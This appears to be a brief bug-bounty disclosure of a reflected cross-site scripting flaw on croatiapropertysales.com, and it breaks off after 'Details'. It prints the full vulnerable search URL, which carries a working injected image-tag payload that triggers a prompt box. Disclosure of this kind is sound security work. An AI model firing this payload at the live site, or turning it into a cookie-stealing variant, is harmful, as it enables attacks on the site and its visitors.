croatiapropertysales.com XSS vulnerability

Vulnerable URL: http://www.croatiapropertysales.com/results/?op=searchid=id=&cijena1;=&cijena2;=&povrsina1;=&povrsina2;=&stambenapovrsina1;=&stambenapovrsina2;=&udaljenost1;=&udaljenost2;=soba=kupatila=id==1%20%22%3E%3Cimg%20src=x%20onerror=prompt%28/OPENBUGBOUNTY/%29%3E%22 Details: Description|...